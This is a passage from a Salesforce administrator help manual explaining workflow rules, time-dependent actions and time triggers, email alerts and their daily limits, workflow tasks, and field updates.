meeting the rule criteria to meeting the rule criteria. With this option, the rule can run multiple times per record, but it wont run when the record edits are unrelated to the rule criteria. For example, suppose that for an opportunity record to meet the rule criteria, the opportunity probability must be greater than 50%. If you create an opportunity with a probability of 75%, the workflow rule runs. If you edit that opportunity by changing the probability to 25%, the edit doesnt cause the rule to run. If you then edit that opportunity by changing the probability from 25% to 75%, the edit causes the rule to run. With this last edit, the rule runs because the record is changed from not meeting the rule criteria to meeting the rule criteria.

4. Enter your rule criteria: Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set the filter to Opportunity: Amount greater than 5000 if you want opportunity records with an amount greater than $5,000 to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default language. You can add up to 25 filter criteria, of up to 255 characters each. Note: Workflow rules and entry criteria for approval processes and steps respect the user's locale and aren't triggered when the user is in a different language than that of the organization. Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce triggers the rule if the formula returns True. Examples of useful workflow formulas include: If the number of filled positions equals the number of total positions on a job, update the Job Status field to Filled. If mileage expenses associated with visiting a customer site are 35 cents per mile and exceed a $1,000 limit, automatically update the Approval Required field to Required.

1871

Create

Managing Workflow Rules

If a monthly subscription-based opportunity amount is greater than $10,000, create a task for an opportunity owner to follow up 60 days after the opportunity is closed. The $Label variable isnt supported in workflow rule formulas. Also, some functions aren't available in workflow rule formulas. Tip: You can use merge fields for directly related objects in workflow rule formulas. For more information, see Merge Fields Overview.

5. Click Save & Next.

See Also:
Configuring Workflow Actions Activating a Workflow Rule Creating Workflow Rules Custom Field Types Operators and Functions

Configuring Workflow Actions


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed To create or change workflow rules and actions: Customize Application

Add immediate and time-dependent actions to the workflow rule. Immediate actions trigger once evaluation criteria are met. Time-dependent actions specify when Salesforce executes the workflow action. For example, Salesforce can automatically send an email reminder to the account team if a high-value opportunity is still open ten days before the specified close date. Tip: Time-dependent actions and time triggers are complex features with several considerations. If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active. 1. To add an immediate workflow action, click Add Workflow Action in the Immediate Workflow Actions section and select:
New Task to create a task to associate with the rule New Email to create an email alert to associate with the rule New Field Update to define a field update to associate with the rule New Outbound Message to define an outbound message to associate with the rule

1872

Create

Managing Workflow Rules

Select Existing Action to select an existing action to associate with the rule

2. To add a time-dependent workflow action, click Add Time Trigger in the Time-Dependent Workflow Actions section and: a. Specify a number of days or hours before or after a date relevant to the record, such as the date the record was created or modified. If the workflow rule is in effect when this time occurs, the time trigger fires the workflow action. b. Click Save. Note: The Add Time Trigger button is unavailable if: The evaluation criteria is set to Evaluate the rule when a record is: created, and every
time its edited

The rule is activated The rule is deactivated but has pending actions in the workflow queue

3. Configure additional immediate or time-dependent actions. 4. Click Done. Note: For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships. For more information, see Understanding Cross-Object Field Updates on page 1891.

See Also:
Selecting the Object for Your Workflow Rule Configuring Rule Settings and Criteria Activating a Workflow Rule Creating Workflow Rules

1873

Create

Managing Workflow Rules

Activating a Workflow Rule


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed To create or change workflow rules and actions: Customize Application

Salesforce doesn't trigger a workflow rule until you activate it. To activate a workflow rule, click Activate on the workflow rule detail page. Click Deactivate to prevent a rule from triggering or if you want to edit the time-dependent actions and time triggers associated with the rule.

See Also:
Selecting the Object for Your Workflow Rule Configuring Rule Settings and Criteria Configuring Workflow Actions Creating Workflow Rules

Notes on Using Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

User Permissions Needed To view workflow rules: To create or change workflow rules: View Setup and Configuration Customize Application

Consider the following when configuring workflow rules: Each workflow rule applies to a single object. For the maximum number of workflow rules allowed on an object, see Salesforce Editions and Limits on page 2182. For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships. For more information, see Understanding Cross-Object Field Updates on page 1891. The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup > Critical Updates to see if your organization requires any updates.

1874

Create

Managing Workflow Rules

If you have workflow rules on converted leads and want to use cross-object field updates on the resulting accounts and opportunities, you must enable the lead setting Enable Validation and Triggers from Lead Convert. Workflow rules on custom objects are automatically deleted if the custom object is deleted. The order in which individual actions and types of actions are executed is not guaranteed. However, field update actions are executed first, followed by other actions. To create workflow rules that update case fields based on new case comments or incoming email messages, choose Case Comment or Email Message from the Select Object drop-down list; Email Message is only available if Email-to-Case or On-Demand Email-to-Case is enabled. You can only create email message workflow rules for field updates, and case comment workflow rules for field updates, email alerts, and outbound messages. For example, you can create a workflow rule so that an email marked as Is Incoming changes its case's Status from Closed to New. Changes you make to records while using Connect Offline are evaluated by workflow rules when you synchronize. Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.

When Do Workflow Rules Get Triggered? Workflow rules can be triggered any time a record is saved or created, depending on your rule criteria. However, rules created after saving records aren't triggered by those records retroactively. Workflow rules are triggered when a standard object in a master-detail relationship is re-parented, even if the object's evaluation criteria is set to Evaluate the rule when a record is: created, and any time its edited to subsequently meet criteria. Saving or creating records can trigger more than one rule. Workflow rules only trigger on converted leads if validation and triggers for lead convert are enabled in your organization. Workflow rules trigger automatically and are invisible to the user. Alternatively, approval processes allow users to submit records for approval. Workflow rules and entry criteria for approval processes and steps respect the user's locale and aren't triggered when the user is in a different language than that of the organization. If you use record types in your workflow rule criteria whose labels have been translated using the translation workbench, the translated label value wont trigger the workflow rule. Workflow criteria evaluate the master label value and ignore the translated value. To avoid this problem, set the workflow criteria to evaluate the master record type label value by entering it manually in the Value field. Workflow rules can't be triggered by campaign statistic fields, including individual campaign statistics and campaign hierarchy statistics. For a list of campaign fields that cannot trigger workflow rules, see Campaign Fields on page 3000. The following actions don't trigger workflow rules: Mass replacing picklist values Mass updating address fields Mass updating divisions Changing the territory assignments of accounts and opportunities Converting leads to person accounts

1875

Create

Managing Workflow Actions

Workflow Rule Limitations You can't create email alerts for workflow rules on activities. You can't package workflow rules with time triggers. You can't create outbound messages for workflow rules on junction objects. Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log details and information about workflow rules and actions, such as the name of the user who triggered the workflow rule and the name and ID of the record being evaluated.

Managing Workflow Actions


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view workflow rules and actions: To create or change workflow rules and actions: View Setup and Configuration Customize Application

To manage your workflow actions: 1. 2. 3. 4. Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules to access the workflow rules list page. Click the name of the rule with the workflow actions you want to edit. Click Edit in the Workflow Actions section. From this page you can: Click Edit next to any workflow action or time trigger to modify it. Click Remove next to any workflow action to remove it from the rule. This disassociates the workflow action from the workflow rule but doesn't delete the workflow action. Click Delete next to any time trigger to remove it from the rule. This deletes the time trigger and removes its associated actions from the workflow rule but does not delete the workflow actions. The workflow actions are still available when you click Add Workflow Action and choose the Select Existing Action option. Click Add Workflow Action in the Immediate Workflow Actions section to add an immediate workflow action to the workflow rule. Click Add Time Trigger to add a time trigger to the workflow rule. Click Add Workflow Action next to a time trigger to add time-dependent workflow actions to the time trigger.

5. Click Done.

See Also:
Managing Workflow Rules Creating Workflow Rules Time-Dependent Action and Time Trigger Considerations Selecting Existing Actions

1876

Create

Time-Dependent Action and Time Trigger Considerations

Time-Dependent Action and Time Trigger Considerations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Leads are not available in Database.com

User Permissions Needed To define, edit, or delete time-dependent actions and time triggers: Customize Application

When creating time-dependent actions and time triggers for workflow rules, consider the following:

Defining Time Triggers


When defining a time trigger, use standard and custom date and date/time fields defined for the object. Specify time using days and hours. You can add actions to existing time triggers.

Time Trigger Processing


Time-dependent actions aren't executed independently. They're processed several times every hour, where they're grouped together and executed as a single batch. Therefore, any triggers that fire as a result of those grouped actions are also executed in a single batch. This behavior can cause you to exceed your Apex governor limits if you design your time-based workflow in conjunction with Apex triggers. Salesforce evaluates time-based workflow on the organization's time zone, not the users'. Users in different time zones may see differences in behavior. Salesforce doesn't necessarily execute time triggers in the order they appear on the workflow rule detail page. Workflow rules list time triggers that use the Before field first, followed by time triggers that use the After field. Salesforce doesn't display time-dependent action controls on the workflow rule edit page if you set the workflow rule evaluation criteria to Evaluate the rule when a record is: created, and every time its edited. If you change a date field that is referenced by an unfired time trigger in a workflow rule that has been evaluated, Salesforce recalculates the unfired time triggers associated with the rule. For example, if a workflow rule is scheduled to alert the opportunity owner seven days before the opportunity close date and the close date is set to 2/20/2011, Salesforce sends the alert on 2/13/2011. If the close date is updated to 2/10/2011 and the time trigger hasn't fired, Salesforce reschedules the alert for 2/3/2011. If Salesforce recalculates the time triggers to a date in the past, Salesforce triggers the associated actions shortly after you save the record. If a workflow rule has a time trigger set for a time in the past, Salesforce queues the associated time-dependent actions to execute sometime within the hour, depending on system usage. For example, if a workflow rule on opportunities is configured to send an email alert seven days before the close date and you create an opportunity record with the close date set to today, Salesforce sends the email alert within four hours after you create the opportunity. Time-dependent actions remain in the workflow queue only as long as the workflow rule criteria are still valid. If a record no longer matches the rule criteria, Salesforce removes the time-dependent actions queued for that record. For example, an opportunity workflow rule may specify: A criteria set to Opportunity: Status not equals to Closed Won, Closed Lost. An associated time-dependent action with a time trigger set to seven days before the opportunity close date.

1877

Create

Time-Dependent Action and Time Trigger Considerations

If a record that matches the criteria is created on July 1st and the Close Date is set to July 30th, the time-dependent action is scheduled for July 23rd. However, if the opportunity is set to Closed Won or Closed Lost before July 23rd, the time-dependent action is automatically removed from the queue. Salesforce ignores time triggers that reference null fields. Time-dependent actions can automatically be queued again if the record is updated and the evaluation criteria is set to
Evaluate the rule when a record is: created, and any time its edited to subsequently meet criteria. Using the previous example, if the opportunity status is changed from Closed Lost to Prospecting and the workflow rule evaluation criteria is Evaluate the rule when a record is: created, and any time its edited to subsequently meet criteria, Salesforce reevaluates the time triggers and adds the appropriate

actions to the workflow queue. Deleting a record that has pending actions removes the pending actions from the workflow queue. You can't restore the actions, even if you undelete the record. If the evaluation criteria is set to Evaluate the rule when a record is: created, the workflow rule evaluates its time triggers only once. If the record that fired the rule changes to no longer meet the evaluation criteria, Salesforce removes the pending actions from the queue and never reapplies the rule to the record. You can deactivate a workflow rule at any time. If the rule has pending actions in the workflow queue, editing the record that triggered the rule removes the pending actions from the queue. If you don't edit the record, the pending actions are processed even though the rule has been deactivated. Time-based workflow rules aren't reevaluated if an Apex post trigger which is executed as a result of a workflow rule or approval process updates a field so its value no longer meets the time-based workflow rule criteria. Configuring a tasks Due Date to Rule Trigger Date sets time triggers and workflow task due dates based on the date that the workflow time triggers action is executed. For example, if the task due date is Rule Trigger Date plus 10 days and the time trigger is executed on January 1st, Salesforce sets the task due date to January 11th.. You can add a new active workflow rule with time triggers in a change set and deploy it. You can only change time triggers on a workflow rule in a change set if it's inactive. The rule must be activated in the destination organization manually or through another change set that only activates workflow rules and makes no time trigger changes. For example, if you have an inactive workflow rule in your destination organization and your change set contains an active workflow rule with the same name and new or different time triggers, the deployment will fail because it will activate the workflow rule first, then try to add or remove time triggers. Note: Time-dependent actions must be added manually when including a workflow rule in a change set. The View/Add Dependencies function doesnt detect time-dependent actions.

Using Time-Dependent Workflow with Leads


You can't convert a lead that has pending actions. If Validation and Triggers from Lead Convert is enabled, existing time-based workflow actions on leads aren't triggered during lead conversion. If a campaign member based on a lead is converted prior to the completion of time-based workflow actions associated with it, Salesforce still performs the time-based workflow actions.

Limitations
Time triggers don't support minutes or seconds. Time triggers can't reference the following: DATE or DATETIME fields containing automatically derived functions, such as TODAY or NOW. Formula fields that include related-object merge fields.

1878

Create

Customizing Workflow and Approval Settings

Salesforce limits the number of time triggers an organization can execute per hour. If an organization exceeds the limits for its Edition, Salesforce defers the execution of the additional time triggers to the next hour. For example, if an Unlimited Edition organization has 1,200 time triggers scheduled to execute between 4:00 PM and 5:00 PM, Salesforce processes 1,000 time triggers between 4:00 PM and 5:00 PM and the remaining 200 time triggers between 5:00 PM and 6:00 PM. For more information on workflow limits, see Salesforce Editions and Limits. You can't archive a product or price book that has pending actions. You can't add or remove time triggers if: The workflow rule is active. The workflow rule is deactivated but has pending actions in the queue. The workflow rule evaluation criteria is set to Evaluate the rule when a record is: created, and every time its edited. The workflow rule is included in a package.

See Also:
Managing Workflow Rules Examples of Workflow Rules Creating Workflow Rules Managing Workflow Actions

Customizing Workflow and Approval Settings


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To edit workflow and approval settings: Customize Application

To customize settings for workflow rules and approval processes: 1. Click Your Name > Setup > Create > Workflow & Approvals > Settings. 2. Select a Default Workflow User that you want Salesforce to display with a workflow rule when the user that triggered the rule is not active. If your organization uses time-dependent actions in workflow rules, you must designate a default workflow user. Salesforce displays this username in the Created By field for tasks, the Sending User field for email, and the Last Modified By field for field updates. Salesforce does not display this username for outbound messages. If a problem occurs with a pending action, the default workflow user receives an email notification. 3. To enable email approval response for your organization, select the Enable Email Approval Response checkbox. The email approval response feature gives users the ability to approve or reject email approval requests by replying to the email. Approvers must have the API Enabled system permission to approve or reject approval requests via email.

1879

Create

Customizing Workflow and Approval Settings

Note: Before enabling email approval response, note that you cannot use this feature with approval processes in which the assigned approver is a queue, or in a multi-step approval process in which the next approver is manually chosen after the first step. Also, users that use Microsoft Word as their email editor must add the comments to the end of the first line of the reply email instead of the second. 4. Click Save. When you enable email approval response, Salesforce uses the following default email template for approval processes unless you specify a custom email template:

[name of requesting user] has requested your approval for the following item. To approve or reject this item, reply to this email with the word APPROVE, APPROVED, YES, REJECT, REJECTED, or NO in the first line of the email message, or click this link: [link to approval page] If replying via email you can also add comments on the second line. The comments will be stored with the approval request in Salesforce CRM. Note: For salesforce.com to process your response the word APPROVE, APPROVED, YES, REJECT, REJECTED, or NO must be in the very first line of the reply email. Also, any comment must be in the second line.

If your organization has Approvals in Chatter enabled and the approver has opted to receive approval notifications as Chatter posts, the default email template is appended with:
You can also approve, reject and comment on this request from your Chatter feed: [link to approval post in Chatter]

If you select a custom email template when configuring an approval response, be sure it contains the above information so users know how to correctly reply to the email approval request.

See Also:
Managing Workflow Rules Creating Workflow Rules Email Approval Response FAQ

1880

Create

Managing Email Alerts

Managing Email Alerts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view email alerts: To create or change email alerts: View Setup and Configuration Customize Application

Email alerts are emails generated by a workflow rule or approval process and sent to designated recipients whenever specific business actions trigger the workflow rule or approval process. Email alerts contain the standard text and list of recipients for an email. You must specify an email template for email alerts. To use a standard global From address for email alerts, like support@company.com, set up an organization-wide address first. To get started using email alerts, click Your Name > Setup > Create > Workflow & Approvals > Email Alerts. From this page you can: Create a new email alert. Select an existing email alert to view details about it, create a cloned email alert, or view all the rules using it. Edit an existing email alert. Delete an email alert.

See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones Workflow Daily Email Limit Workflow and Approvals Overview Managing Workflow Rules Differences Between Auto-Response Rules and Workflow Alerts

Creating Email Alerts for Workflow, Approvals, or Milestones


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change workflow rules: To create or change email alerts: Customize Application Customize Application

To create email alerts:

1881

Create

Managing Email Alerts

1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Email Alerts. For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement Processes, choose an entitlement process, a milestone, and click Add Workflow Action. 2. Click New Email Alert. 3. Configure the email alert: a. Enter a description. b. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected object type. You can have actions of the same type with the same unique name, provided they are defined for different objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. c. If available, choose the object for this email alert. Salesforce uses this object when generating merge field values for email templates with workflow rules and approval processes. Also, you can define the recipients of this email alert using contact and user lookup fields that are relevant to that object. For example, if you select Contract, you can define the contract signer as a recipient. The object is read-only if the new email alert is associated with an approval process or workflow rule for a particular object. Tip: To create workflow rules for case comments so that comments added to cases send email alerts when a rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule. d. Choose an email template. Note: If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these fields will return values only when that email template is used as the approval assignment template. If you use the template for any other email alert actionin either workflow rules or approval processesthe merge fields will return a null value. e. If available, select Protected Component to mark the alert as protected if it is part of a Managed - Released package. f. Select who should receive this email alert. Depending on your organization settings and the object you selected, some options in this list may not be available.
Account OwnerThe user listed as the account owner of either the account itself or the account associated with

the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts, and any custom object that is a child of the account object. Also, the associated account must have an account owner specified. If you select another object type or the associated account doesn't have an account owner, Salesforce sends the email alert to the record owner instead. Account TeamAll users assigned to a particular account team role. Note: The Account Team option is always available; however, emails are only sent when the rule is associated with the account object or any of its immediate child objects.

Case TeamAll users assigned to a particular case team role. CreatorThe user who created the record. Customer Portal UserAll users associated with a Customer Portal. Email FieldAn email address field on the selected object, such as the Email field on lead records or custom

email fields.

1882

Create

Managing Email Alerts

Note: When creating email alerts for campaign members, Email Field refers to the email field on the lead or contact that the campaign member is based on.
OwnerThe record owner. Partner UserAll users associated with a partner portal. Portal RoleAll users assigned to a particular portal role. Portal Role and SubordinatesAll users assigned to a particular portal role, plus all users in roles below

that role.
Public GroupsThe users in a particular public group. Related ContactAn associated contact on the record. For example, you can select the Customer Signed By field for contracts that contain the name of the contract signer. Related Lead or Contact OwnerA campaign member's lead or contact owner. Related UserAn associated user on the record. For example, contract records have an Activated By field

that contains the name of the user that activated the contract. RoleAll of the users assigned a particular role. Role and Internal SubordinatesAll users in a particular role, plus all users in roles below that role, excluding partner portal and Customer Portal users. Role and SubordinatesAll users in a particular role, plus all users in roles below that role. UserA particular user. Opportunity TeamAll users assigned to a particular opportunity team role. This option appears only when team selling is enabled. Note: The Opportunity Team option only works for email alerts configured for opportunities. It doesn't work for email alerts configured for child objects of opportunities.

g. Select the recipients who should receive this email alert in the Available Recipients list and click Add. Note: If you change the object after selecting recipients, Salesforce clears the Selected Recipients list.

h. Enter up to five additional email addresses. i. You can change the From Email Address to: The email address of the default workflow user. A previously configured and verified organization-wide address. This allows you to use a standard global email address for your organization (such as support@company.com) instead of the default From field, which is the email address of the person who updates the record. Only verified organization-wide email addresses display in the From Email Address picklist. Note: If you select Make this the default From email address for this object's email alerts, it overrides the From Email Address for all email alerts associated with that object. You can still customize individual email alerts to use a different From Email Address. j. Click Save.

1883

Create

Managing Email Alerts

Note: If your email recipient is a record owner and the owner of the record is a queue, the queue email receives the email alert. If the queue is set up so that email is sent to all members, queue members are notified as well. If no queue email is specified, only queue members are notified. 4. To put email alerts into action, associate them with a workflow rule, approval process, or entitlement process. Note: The daily limit for emails sent from workflow and approval-related email alerts is 1,000 per standard Salesforce license per organization. The overall organization limit is 2,000,000. When the daily limit is reached, a warning email goes out to the default workflow user. If the default workflow user isn't set, then the warning email is sent to an active system administrator. For more information, see Workflow Daily Email Limit on page 1884.

See Also:
Workflow and Approvals Overview

Workflow Daily Email Limit


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change workflow rules: To create or change email alerts: Customize Application Customize Application

The daily limit for emails sent from workflow and approval-related email alerts is 1,000 per standard Salesforce license per organization. The overall organization limit is 2,000,000. When the daily limit is reached, a warning email goes out to the default workflow user. If the default workflow user isn't set, then the warning email is sent to an active system administrator. How the Workflow Daily Email Limit Works After your organization has reached its limit: Any emails in the workflow queue left over and not sent that day are discarded. Salesforce doesn't try to resend them later. If a workflow rule with an action and an email alert is triggered, only the email action is blocked. Final approval, final rejection, approval, rejection, and recall email actions are blocked. An error message is added to the debug log.

The following items don't count against the workflow email limit: Approval notification emails Task assignment notifications Lead assignment rules notifications Case assignment rules notifications Case escalation rules notifications Force.com sites usage alerts

1884

Create

Managing Tasks for Workflow and Approvals

The limit restriction is based on activity in the 24-hour period starting and ending at midnight GMT. Adding or removing a user license immediately adjusts the limit's total. If you send an email alert to a group, every recipient in that group counts against your daily workflow email limit.

See Also:
Salesforce Editions and Limits

Managing Tasks for Workflow and Approvals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view tasks: To create or change tasks: View Setup and Configuration Customize Application

A task is a type of workflow action that determines the details of an assignment given to a specified user by a workflow rule or approval process. Create tasks and then associate them with the workflow rules or approval processes that will trigger them. When a workflow rule or approval process meets the business conditions you set up, any tasks associated with it are assigned to designated users with the Subject, Status, Priority, and Due Date of the workflow task. To get started using tasks, click Your Name > Setup > Create > Workflow & Approvals > Tasks. From this page you can: Create a new workflow task. Select an existing task to view details about it, create a cloned task, or view rules using it. Edit an existing task. Delete a task. Note: Before you create a task for a custom object, make sure the custom object tracks activities. When tasks are created automatically by actions such as clicking the Send An Email button, they don't trigger task-based workflow rules. Tasks aren't available for article types. For more information, see Defining Article Types on page 1527.

See Also:
Creating Tasks for Workflow, Approvals, or Milestones Workflow and Approvals Overview Managing Workflow Rules

1885

Create

Managing Tasks for Workflow and Approvals

Creating Tasks for Workflow, Approvals, or Milestones


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change tasks: To create or change workflow rules: Customize Application Customize Application

To create your tasks: 1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Tasks. For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement Processes, choose an entitlement process, a milestone, and click Add Workflow Action. 2. Click New Task. 3. Select a record type and click Next. Remember, tasks can only be associated with workflow rules or approval processes for the same object type. Note: When creating tasks for custom objects, only custom objects that track activities are available. Tasks aren't available for article types. For more information, see Defining Article Types on page 1527. 4. Configure the task: a. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, opportunity team role, or account team role, depending on the type of record you chose. Note: If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the task is assigned to the person who triggered the rule. If the subject was translated, Salesforce creates the task in the assignee's language If you checked Notify Assignee for the task, Salesforce sends the email in the assignee's language. However, if only the comments field was translated, Salesforce creates the task and sends the email in the language of the user who triggered the task. If a custom object has a master-detail relationship with a standard object, the owner of the custom object record is automatically set to the owner of the master standard object record. For example, if a custom object called Expenses has a master-detail relationship with Accounts, the owner of each expense record is the owner of the account for the expense. If the assignee of a workflow task is a role and more than one user belongs to that role, the record owner becomes the task assignee, regardless of their role. We recommend that you do not assign tasks to roles with multiple users. Assigning tasks to roles with one user allows you to easily change the user in that role without modifying the workflow rule. When a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead that are assigned to that user, except email alerts, are reassigned to the lead owner. Workflow tasks assigned to users other than the lead owner and lead converter aren't changed.

1886

Create

Managing Field Updates

b. Enter a subject for the task. c. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected object type. You can have actions of the same type with the same unique name, provided they are defined for different objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. d. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee. Note: Configuring a tasks Due Date to Rule Trigger Date sets time triggers and workflow task due dates based on the date that the workflow time triggers action is executed. For example, if the task due date is Rule Trigger Date plus 10 days and the time trigger is executed on January 1st, Salesforce sets the task due date to January 11th.. e. Check Notify Assignee to send an email notification when the task is assigned. f. Check Protected Component to mark the task as protected. For more information, see the Force.com Quick Reference for Developing Packages. g. Enter any comments to add to the task. h. Click Save. 5. To put tasks into action, associate them with a workflow rule, approval process, or entitlement process. Note: You may notice that all your tasks include a Created By field. For tasks, this field contains the name of the person who saved the record that triggered the rule to assign the task.

See Also:
Workflow and Approvals Overview Entitlement Management Overview

Managing Field Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approval Processes are not available in Database.com

User Permissions Needed To view field updates: To define, edit, or delete field updates: View Setup and Configuration Customize Application

Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval processes, or entitlement processes. Before you begin using field updates, review Field Update Considerations. To get started using field updates, click Your Name > Setup > Create > Workflow & Approvals > Field Updates.

1887

Create

Managing Field Updates

From this page you can: Define a new field update. Select an existing field update to view its details or view workflow rules and approval processes that use it. Edit an existing field update. Delete a field update.

See Also:
Defining Field Updates Understanding Cross-Object Field Updates Workflow and Approvals Overview Managing Workflow Rules

Defining Field Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions. Approvals are not available in Database.com.

User Permissions Needed To define, edit, or delete field updates: Customize Application

Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval processes, or entitlement processes. Before you begin, review Field Update Considerations on page 1893. Note: For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships. For more information, see Understanding Cross-Object Field Updates on page 1891. 1. Click Your Name > Setup > Create > Workflow & Approvals > Field Updates. For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement Processes, choose an entitlement process, a milestone, and click Add Workflow Action. 2. Click New Field Update. 3. Configure the field update. a. Enter a name for this field update. b. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected object type. You can have actions of the same type with the same unique name, provided they are defined for different objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. c. Enter a description.

1888

Create

Managing Field Updates

d. Define the field update, including the object associated with the workflow rule or approval process, and the field to update. Note that the field to update may be on a related object in a master-detail relationship. Fields are shown only for the target object that you select. Note: You can use field updates on encrypted custom fields, but if you try to use a formula to set the new value, the encrypted field isn't available in the formula editor. e. If available, check the Protected Component check box to mark the field update as protected. For more information, see the Force.com Quick Reference for Developing Packages. f. Select the Re-evaluate Workflow Rules After Field Change checkbox if you want workflow rules on this object to be re-evaluated after the field value is updated. For more information, see Field Updates That Re-evaluate Workflow Rules on page 1890. g. Specify the new field value. The available options depend on the type of field you are updating. You can: Choose A specific value, and enter the value in the space provided. Choose A blank value (null) if you want Salesforce to remove any existing value and leave the field blank. This option isn't available for required fields, checkboxes, and some other types of fields. For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object records, you can also choose a queue for this field. Select Notify Assignee to send an email to the new record owner. For checkboxes, choose True to select the checkbox and False to deselect it. For picklists, select a specific value from the drop-down list, or select the value above or below the current value based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above or below may be different for users in other languages. Choose Use a formula to set the new value to calculate the value based on an expression, merge fields, or other values. If youre building a formula for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert. To insert case merge fields so that email messages update the associated case fields, click Insert Field on the Rule Criteria section and choose Email Message > Parent Case. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions. You can insert a function from the Functions list. Functions are pre-built formulas that you can customize with your input parameters. See Operators and Functions for a description of each operator and function. h. Click Save. Tip: To create workflow rules so that case comments or emails automatically update fields on associated cases, select Case Comment or Email Message in the Object drop-down list when creating a new workflow rule and select Case in the Field to Update list. Email-to-Case or On-Demand Email-to-Case must be enabled for your organization to use the Email Message in a workflow rule. When cases are updated by an email-triggered workflow rule, the updated case can trigger: Workflow rules Validation rules Updates to roll-up summary fields Escalation rules Apex triggers

1889

Create

Managing Field Updates

Entitlement processes

The updated case can't trigger: Assignment rules Auto-response rules

See Also:
Managing Field Updates Understanding Cross-Object Field Updates Workflow and Approvals Overview Approval Processes Overview Entitlement Management Overview Custom Field Types Operators and Functions

Field Updates That Re-evaluate Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions.

Selecting the Re-evaluate Workflow Rules After Field Change checkbox on the Field Update Edit page allows you to set a workflow field update to re-evaluate all workflow rules on the object if the field update results in a change to the value of the field. If the field update changes the fields value, all workflow rules on the associated object are re-evaluated. Any workflow rules whose criteria are met as a result of the field update will be triggered. If any of the triggered workflow rules result in another field update thats also enabled for workflow rule re-evaluation, a domino effect occurs, and more workflow rules can be re-evaluated as a result of the newly-triggered field update. This cascade of workflow rule re-evaluation and triggering can happen up to five times after the initial field update that started it. In a batch update, workflow is only retriggered on the entities where there is a change. Only workflow rules on the same object as the initial field update will be re-evaluated and triggered. Only workflow rules that didnt fire before will be retriggered. Cross-object workflow rules arent candidates for re-evaluation. Cross-object field updates that cause a field value to change dont trigger workflow rule re-evaluation on the associated object. An approval process can specify a field update action that re-evaluates workflow rules for the updated object. If, however, the re-evaluated workflow rules include a cross-object field update, those cross-object field updates will be ignored. To

1890

Create

Managing Field Updates

prevent this, ensure that in the approval actions you deselect Re-evaluate Workflow Rules After Field Change for field updates.

See Also:
Managing Field Updates Defining Field Updates Field Update Considerations Managing Workflow Rules

Understanding Cross-Object Field Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approval Processes are not available in Database.com

